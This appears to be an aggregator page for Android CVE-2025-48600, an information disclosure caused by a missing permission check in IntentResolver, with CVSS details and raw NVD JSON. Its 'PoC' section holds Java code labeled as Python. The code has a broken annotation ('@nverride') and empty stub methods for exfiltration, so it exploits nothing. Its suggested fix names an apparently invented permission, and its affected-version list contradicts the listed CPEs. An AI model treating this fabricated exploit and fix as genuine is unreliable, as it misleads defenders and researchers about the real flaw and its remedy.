Security Vulnerability Report
中文
CVE-2025-48600 CVSS 5.5 MEDIUM

CVE-2025-48600

Published: 2025-12-08 17:16:17
Last Modified: 2025-12-08 21:15:58

Description

In multiple files, there is a possible way to reveal information across users due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:* - VULNERABLE
Android 12 (API level 31) - 受影响版本
Android 12L (API level 32) - 受影响版本
Android 13 (API level 33) - 受影响版本
Android 14 (API level 34) - 受影响版本
Android 15 (API level 35) - 可能受影响版本
Android 16 (API level 36) - 可能受影响版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48600 PoC - Android IntentResolver 权限检查缺失 // 此PoC演示如何利用缺失的权限检查访问受限的intent数据 package com.example.cve202548600; import android.content.Intent; import android.content.pm.PackageManager; import android.os.Bundle; import android.app.Activity; public class ExploitActivity extends Activity { @nverride protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Step 1: 尝试访问通常需要权限保护的intent数据 // 由于IntentResolver缺少权限检查,可以直接获取 Intent protectedIntent = getIntent(); // Step 2: 读取intent中的敏感数据 Bundle intentExtras = protectedIntent.getExtras(); if (intentExtras != null) { // 提取可能包含的用户信息或其他敏感数据 String sensitiveData = intentExtras.getString("sensitive_user_data"); // Step 3: 将数据发送到攻击者控制的服务器 sendExfiltratedData(sensitiveData); } // Step 4: 利用IntentResolver的漏洞访问其他应用的intent try { // 直接访问其他组件的intent数据 Object resolverData = accessIntentResolverData(); processAndExfiltrate(resolverData); } catch (SecurityException e) { // 正常情况下应该抛出异常,但由于权限检查缺失可能不会 logError(e); } } private void sendExfiltratedData(String data) { // 数据外泄逻辑 } private Object accessIntentResolverData() { // 利用IntentResolver漏洞访问数据 return null; } } // 修复建议:添加适当的权限检查 // if (checkCallingPermission("android.permission.ACCESS_PROTECTED_INTENTS") // != PackageManager.PERMISSION_GRANTED) { // throw new SecurityException("Permission denied"); // }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48600", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:17.120", "lastModified": "2025-12-08T21:15:57.503", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In multiple files, there is a possible way to reveal information across users due to a missing permission check. This could lead to local information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-862"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:15.0:*:*:*:*:*:*:*", "matchCriteriaId": "8538774C-906D-4B03-A3E7-FA7A55E0DA9E"}, {"vulnerable": true, "criteria": "cpe:2.3:o:google:android:16.0:*:*:*:*:*:*:*", "matchCriteriaId": "2D49E611-5D53-479D-A981-42388FDC0E8D"}]}]}], "references": [{"url": "https://android.googlesource.com/platform/packages/modules/IntentResolver/+/bbe2dc3fb85fac9053b427b6d3c4af3506e0d9b4", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}